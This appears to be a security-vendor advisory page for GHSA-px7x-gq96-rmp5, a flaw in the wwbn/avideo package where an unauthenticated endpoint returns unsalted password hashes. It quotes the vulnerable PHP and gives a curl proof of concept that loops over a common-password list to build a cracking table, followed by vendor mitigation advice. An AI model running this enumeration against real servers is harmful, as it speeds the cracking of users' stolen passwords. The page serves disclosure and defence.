EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Description
Summary
/objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes.
Details
File: objects/encryptPass.json.php
$obj->password = @$_REQUEST['pass'];
$obj->encryptedPassword = encryptPassword($obj->password);
echo json_encode($obj);
No authentication is required. The encryptPassword() function in objects/functions.php (line ~2101) uses:
function encryptPassword($password, $noSalt = false) {
if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
$password .= $global['salt'];
}
return md5(hash('whirlpool', sha1($password)));
}
By default, salt is NOT enabled (encryptPasswordsWithSalt is off), making the hash deterministic and identical to what's stored in the database.
PoC
# Get the hash for any password
curl 'https://TARGET/objects/encryptPass.json.php?pass=admin123'
# Response: {"password":"admin123","encryptedPassword":"<hash>"}
# Build a rainbow table for common passwords
for pass in $(cat rockyou-top1000.txt); do
curl -s "https://TARGET/objects/encryptPass.json.php?pass=$pass"
done
If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint.
Impact
Password Cracking Acceleration — This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly.
Additionally, this reveals whether salt is enabled and the exact hashing implementation, which is sensitive cryptographic configuration.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-px7x-gq96-rmp5 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-px7x-gq96-rmp5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-px7x-gq96-rmp5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-px7x-gq96-rmp5 in your dependencies?
O3 detects GHSA-px7x-gq96-rmp5 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
